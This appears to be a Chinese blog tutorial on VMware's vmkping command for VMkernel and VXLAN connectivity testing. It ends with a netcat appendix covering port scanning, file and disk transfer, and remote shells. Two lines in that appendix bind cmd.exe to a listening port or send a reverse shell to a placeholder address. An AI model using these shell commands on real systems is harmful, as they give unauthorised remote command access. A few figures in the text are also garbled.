VMkernel 网络连接测试命令vmkping

一、背景

在vsphere环境中,无论是部署阶段的网络连通性测试验证,还是后期的故障排除,有时我们需要测试环境中的 ESX 主机之间的 VMkernel 网络连接是否正常,尤其vxlan网络;而vmkping命令是vsphere环境中针对vmkernel适配器进行网络调试探测的一个很有用命令,本文将描述该命令如何使用及常用示例。

二、命令使用

命令原理:vmkping 命令从本地 VMkernel 端口发起 ping 操作。

语法:vmkping [args] [host]

vmkping 选项

	  -4               use IPv4 (default)
      -6               use IPv6
      -c <count>       set packet count
      -d               set DF bit (IPv4) or disable fragmentation (IPv6)
      -D               vmkernel TCP stack debug mode
      -i <interval>    set interval (secs)
      -I <interface>   outgoing interface - for IPv6 scope or IPv4
                       bypasses routing lookup
      -N <next_hop>    set IP*_NEXTHOP - bypasses routing lookup
                       for IPv4, -I option is required
      -s <size>        set the number of ICMP data bytes to be sent.
                       The default is 56, which translates to a 64 byte
                       ICMP frame when added to the 8 byte ICMP header.
                       (Note: these sizes does not include the IP header).
      -t <ttl>         set IPv4 Time To Live or IPv6 Hop Limit
      -v               verbose
      -W <timeout>     set timeout to wait if no responses are
                       received (secs)

      -X               XML output format for esxcli framework.
      -S               The network stack instance name. If unspecified
                       the default netstack instance is used.

其中,我们会常用到参数有-I来指定从特定vmkernel网口来ping测试;-i参数设定间隔几秒发送一个vmkping包,默认一秒ping一次;-d -s 指定巨型帧数(如8972)测试vxlan;

注意:在 vmkernel TCP 调试模式下,vmkping 遍历 VSI 并 ping 通各种已配置的地址。++ netstack 选项仅适用于 ipv4,不适用于 ipv6。巨型帧是帧长大于1522字节的以太网帧,专门为千兆以太网而设计,小巨型帧是1600,一般最大为9000Byte,如有效负载大小超过9000字节的帧,我们称之为超巨型帧。采用巨型帧能够令千兆以太网性能充分发挥,使数据传输效率提高50%~100%。

在这里插入图片描述

VXLAN报文封装格式:
在这里插入图片描述
在这里插入图片描述

如上图所示,在原始的二层数据帧外添加8字节的VXLAN头,8字节UDP头和2-字节的IP头。其中UDP头的目的端口号为VXLAN固定UDP端口号(缺省值为4789),VXLAN头主要包含两部分:

(1)标志位:“I”位为1,表示VXLAN投中的VXLAN ID有效;为0,表示VXLAN ID无效,其他保留未用,设置为0;

(2)VXLAN ID(VNI):用来标识一个VXLAN网络,长度为24比特;

这样,封装后的报文长度增加了50个字节,所以虚拟机的上行端口以及与上行端口相连的交换机端口,路由器端口都需要配置的比VM虚拟网卡的最大MTU值增加50个字节,即测试vm最大MTU时,可以考虑把VM的最大MTU减小50字节。

2.1、命令示例

1)esxi主机上ping 另一esxi主机主机名或 IP 地址,执行:

#vmkping x.x.x.x

2)指定vmkernel端口出去ping到另一主机的vmkernel ip地址

#vmkping -I vmkX x.x.x.x //vmk网络接口可通过esxcli network ip命令获取或vc主机网络页面获取
在这里插入图片描述
在这里插入图片描述

注: ESXi 5.1 及更高版本中,可以使用 -I 选项指定要将哪个 vmkernel 端口用于传出 ICMP 流量:

3)如果环境中配置了巨型帧,测试该条件下网络情况,执行:

#vmkping -d -s 8972 x.x.x.x //-s 和 -d 选项,指定巨型帧大小和使用巨型帧模式ping

注意:如果同一网络中有多个 vmkernel 端口(例如 iSCSI 的检测信号 vmkernel 端口),则网络中主机上的所有 vmkernel 端口也均需要配置巨型帧 (MTU: 9000)。如果同一网络中有其他 vmkernel 端口的 MTU 值较低,vmkping 命令在使用 -s 8972 选项时将失败。命令中此处的 -d 选项用于设置 IPv4 数据包的 DF(不分段)位。要测试 1500 MTU,请运行命令:vmkping -I vmkX x.x.x.x -d -s 1472。

查看主机的 vmkernel 路由表,请使用 esxcfg-route -l 命令

4)获取MTU 大小,执行

#esxcfg-nics -l //输出类似如下

Name PCI Driver Link Speed Duplex MAC Address MTU Description
vmnic0 0000:02:00.00 e1000 Up 1000Mbps Full xx:xx:xx:xx:xx:xx 9000 Intel Corporation 82545EM Gigabit Ethernet Controller (Copper)
vmnic1 0000:02:01.00 e1000 Up 1000Mbps Full xx:xx:xx:xx:xx:xy 9000 Intel Corporation 82545EM Gigabit Ethernet Controller (Copper)

#esxcfg-vmknic -l //输出类似如下

Interface Port Group/DVPort IP Family IP Address Netmask Broadcast MAC Address MTU TSO MSS Enabled Type

vmk1 iSCSI IPv4 10.10.10.10 255.255.255.0 10.10.10.255 00:50:56:XX:XX:64 9000 65535 true STATIC

在这里插入图片描述
5)间隔3秒发送一个vmkping包,执行:

#vmkping –i 3 –I vmk1 x.x.x.x

6)结合nc命令测试远程服务器端口,执行:

#vmkping –I vmk1 nc –z x.x.x.x 3260

2.2、 其他注意事项

1)如果发现 ping 操作出现间歇性成功,可能表明 vMotion 端口上的绑定网卡中存在不兼容的网卡。请选择兼容的网卡进行绑定,或将其中一个网卡设置为备用 (standby)。
2)如果用服务器主机名执行 ping 命令时没有看到响应,请使用 IP 地址执行 ping 命令。对 IP 地址启动 ping 操作,可以判断故障是否由主机名解析问题所引起。如果要测试到另一个服务器上的另一个 VMkernel 端口的连接,请使用 VMkernel 端口的 IP 地址,因为服务器的主机名通常会解析至远程服务器上的服务控制台地址。
3)在 vSphere 5.5 中,VXLAN 具有其自己的 vmkernel 网络堆栈,因此必须使用以下任一语句从 ESXi 控制台执行对传输 VLAN 中两个不同 vmknic 之间的 ping 连接性测试:

vmkping ++netstack=vxlan <vmknic IP> -d -s <packet size>

esxcli network diag ping --netstack=vxlan --host <vmknic IP> --df --size=<packet size>

关于vxlan的详细介绍,可参看

三、附录:网络调试命令nc

语法:nc [-hlnruz][-g<网关…>][-G<指向器数目>][-i<延迟秒数>][-o<输出文件>][-p<通信端口>][-s<来源位址>][-v…][-w<超时秒数>][主机名称][通信端口…]

参数:

 -g<网关> 设置路由器跃程通信网关,最丢哦可设置8个。

 -G<指向器数目> 设置来源路由指向器,其数值为4的倍数。

 -h  在线帮助。

 -i<延迟秒数> 设置时间间隔,以便传送信息及扫描通信端口。

 -l  使用监听模式,管控传入的资料。

 -n  直接使用IP地址,而不通过域名服务器。

 -o<输出文件> 指定文件名称,把往来传输的数据以16进制字码倾倒成该文件保存。

 -p<通信端口> 设置本地主机使用的通信端口。

 -r  乱数指定本地与远端主机的通信端口。

 -s<来源位址> 设置本地主机送出数据包的IP地址。

 -u  使用UDP传输协议。

 -v 详细输出--用两个-v可得到更详细的内容

 -w<超时秒数> 设置等待连线的时间。

  -z  使用0输入/输出模式,只在扫描通信端口时使用。

3.1 命令示例

1)扫描端口21-24,设置2s超时

#nc -v -w 2 192.168.2.34 -z 21-24 //-z 指定端口范围,输入类似如下

nc: connect to 192.168.2.34 port 21 (tcp) failed: Connection refused

Connection to 192.168.2.34 22 port [tcp/ssh] succeeded!

nc: connect to 192.168.2.34 port 23 (tcp) failed: Connection refused

nc: connect to 192.168.2.34 port 24 (tcp) failed: Connection refused

2)从192.168.2.33拷贝文件到192.168.2.34

在192.168.2.34上: nc -l 1234 > test.txt

在192.168.2.33上: nc 192.168.2.34 < test.txt

3)还可借助传输字符来做简易的聊天工具

在192.168.2.34上: nc -l 1234 //看到传过来的会话内容:1234

在192.168.2.33上: nc 192.168.2.34 1234

如上,双方就可以相互交流了。使用ctrl+C(或D)退出。

4)用nc命令操作memcached

1)存储数据:printf“set key 0 10 6rnresultrn” |nc 192.168.2.34 11211

2)获取数据:printf“get keyrn” |nc 192.168.2.34 11211

3)删除数据:printf“delete keyrn” |nc 192.168.2.34 11211

4)查看状态:printf“statsrn” |nc 192.168.2.34 11211

5)模拟top命令查看状态:watch“echo stats” |nc 192.168.2.34 11211

6)清空缓存:printf“flush_allrn” |nc 192.168.2.34 11211 (小心操作,清空了缓存就没了)

5)建立从本地1234端口到host.example.com的80端口连接,5秒超时

#nc -p 1234 -w 5 host.example.com 80

#nc -u host.example.com 53 //u为UDP连接

6) 连接到主机并执行命令

#echo -n “GET / HTTP/1.0"r"n"r"n” | nc host.example.com 80

7)扫描端口(70到80), 执行:

#nc -v -z host.example.com 70-80 //-v输出详细信息,-z可指定范围

8) 远程拷贝文件

从server1拷贝文件到server2上。需要先在server2上,用nc激活监听,

server2上运行:]# nc -lp 1234 > install.log
server1上运行:# ll install.log
#nc -w 1 192.168.228.222 1234 < install.log

9) 克隆硬盘或分区

操作与上面的拷贝是雷同的,只需要由dd获得硬盘或分区的数据,然后传输即可。

克隆硬盘或分区的操作,不应在已经mount的的系统上进行。所以,需要使用安装光盘引导后,进入拯救模式(或使用Knoppix工具光盘)启动系统后,在server2上进行类似的监听动作:

#nc -l -p 1234 | dd of=/dev/sda

server1上执行传输,即可完成从server1克隆sda硬盘到server2的任务:
#dd if=/dev/sda | nc 192.168.228.222 1234

※完成上述工作的前提,是需要落实光盘的拯救模式支持服务器上的网卡,并正确配置IP。

10)下载保存Web页面

#while true; do nc -l -p 80 -q 1 < somepage.html; done

11)模拟HTTP Headers,获取网页源代码和返回头部信息

#nc 80 //输出如下

GET / HTTP/1.1

Host: ispconfig.org

Referrer: mypage.com

User-Agent: my-browser

HTTP/1.1 200 OK

Date: Tue, 16 Dec 2008 07:23:24 GMT

Server: Apache/2.2.6 (Unix) DAV/2 mod_mono/1.2.1 mod_python/3.2.8 Python/2.4.3 mod_perl/2.0.2 Perl/v5.8.8

Set-Cookie: PHPSESSID=bbadorbvie1gn037iih6lrdg50; path=/

Expires: 0

Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0

Pragma: no-cache

Cache-Control: private, post-check=0, pre-check=0, max-age=0

Set-Cookie: oWn_sid=xRutAY; expires=Tue, 23-Dec-2008 07:23:24 GMT; path=/

Vary: Accept-Encoding

Transfer-Encoding: chunked

Content-Type: text/html

[…]

在nc命令后,输入红色部分的内容,然后按两次回车,即可从对方获得HTTP Headers内容。

12)传输目录

从server1拷贝nginx-0.6.34目录内容到server2上。需要先在server2上,用nc激活监听,server2上运行:

引用:# nc -l 1234 |tar xzvf -

server1上运行:# ll -d nginx-0.6.34
#tar czvf – nginx-0.6.34|nc 192.168.228.222 1234

13)REMOTE主机绑定SHELL

格式:nc -l -p 5354 -t -e c:\winnt\system32\cmd.exe //绑定REMOTE主机的CMDSHELL在REMOTE主机的TCP5354端口

14) REMOTE主机绑定SHELL并反向连接

格式:nc -t -e c:\winnt\system32\cmd.exe 192.168.x.x 5354 //绑定REMOTE主机的CMDSHELL并反向连接到192.168.x.x的TCP5354端口

参考:https://blog.csdn.net/lqglqglqg/article/details/48574069

附录:VXLan相关概念

(1)VM(VirtualMachine,虚拟机):在一台设备上可以创建多台虚拟机,不同的虚拟机可以属于不同的VXLAN。属于相同的VXLAN的虚拟机处于同一个逻辑二层网络,彼此之间二层互通,属于不同VXLAN的虚拟机之间二层隔离。VXLAN通过VXLANID来标识,又被称为VNI(VXLAN network identifier,VXLAN网络标识符),其长度为24比特。
在这里插入图片描述

(2)VTEP(VXLAN tunnelend point,VXLAN隧道端点):VXLAN的边缘设备,针对VXLAN的处理都在VTEP上进行,例如识别以太网数据帧所属的VXLAN,基于VXLAN对数据帧进行二层转发、封装/解封装报文等。VTEP可以是一台独立的物理设备也可以是虚拟机所在的服务器。

(3)VXLAN隧道:两个VTEP之间的点到点的逻辑隧道,VTEP为数据帧封装VXLAN头,UDP头和IP头,通过VXLAN隧道将封装后的报文传递到远端VTEP,远端VTEP设备对其进行解封装。

(4)核心设备:IP核心网络中的设备,其核心设备不需要参与VXLAN的处理,仅需根据封装后报文的目的IP地址地报文进行三次转发。

(5)VSI(VirtualSwitch Instance,虚拟交换实例):VTEP上为一个VXLAN提供二层交换服务的虚拟交换实例,可以看做是VTEP设备上一台基于VXLAN进行二层转发的虚拟交换机,它可以具有传统以太网交换机所具有的所有功能,包括源MAC地址的学习、MAC地址老化,洪泛等。VSI与VXLAN一一对应。

VXLAN转发机制:

在这里插入图片描述
上图中,VTEP_1、VTEP_2和VTEP_3之间就需要两两建立VXLAN隧道,实现了VTEP_1连接的VM、VTEP_2连接的VM以及VTEP_3连接的VM之间的“大二层”互通。VXLAN运行机制可以概括为:

(1) 发现远端的VTEP,在VTEP之间建立VXLAN隧道,并将VXLAN隧道与vxla关联;

1、  创建VXLAN隧道

(1)手工方式:手工配置Tunnel接口,并指定隧道的源和目的IP地址分别为本端和远端VTEP的IP地址;

(2)自动方式:通过ENDP(Enhance Neighbor Discovery Protocol,增强的邻居发现协议)发现远端VTEP,自动在本端和远端VTEP之间建立VXLAN隧道。

2、  关联VXLAN隧道与VXLAN

(1)手工方式:手工将VXLAN隧道和VXLAN进行关联;

(2)自动方式:通过扩展IS-IS协议发布VXLAN ID信息。VTEP在所有的VXLAN隧道上通过IS-IS将本地存在的VXLAN ID通告给远端VTEP,远端VTEP将其与本地的VXLAN进行比较,如果存在相同的VXLAN,则将该VXLAN与接收信息的VXLAN隧道关联。

(2) 识别接收到的报文所属的VXLAN,以便将报文的源MAC地址学习到VXLAN对应的VSI中,并在该VSI内转发报文;

(3) 学习虚拟机的MAC地址;

(4) 根据学习到的MAC地址表项转发报文;

在这里插入图片描述
其中:

NVE(Network Virtrualization Edge网络虚拟边缘节点)是实现网络虚拟化的功能实体,VM里的报文经过NVE封装后,NVE之间就可以在基于L3的网络基础上建立起L2虚拟网络。网络设备实体以及服务器实体上的VSwitch都可以作为NVE。

VTEP为VXLAN隧道的端点,封装在NVE中,用于VXLAN报文的封装和解封装。VTEP与物理网络相连,分配的地址为物理网络IP地址。VXLAN报文中源IP地址为本节点的VTEP地址,VXLAN报文中目的IP地址为对端节点的VTEP地址,一对VTEP地址就对应着一个VXLAN隧道。

VNI(VXLAN Network Identifier):VXLAN网络标识VNI类似VLAN ID,用于区分VXLAN段,不同VXLAN段的虚拟机不能直接二层相互通信。一个VNI表示一个租户,即使多个终端用户属于同一个VNI,也表示一个租户。VNI由24比特组成,支持多达16M((224-1)/10242)的租户。

VAP(Virtual Access Point):虚拟接入点VAP统一为二层子接口,用于接入数据报文。为二层子接口配置不同的流封装,可实现不同的数据报文接入不同的二层子接口。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

羌俊恩

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值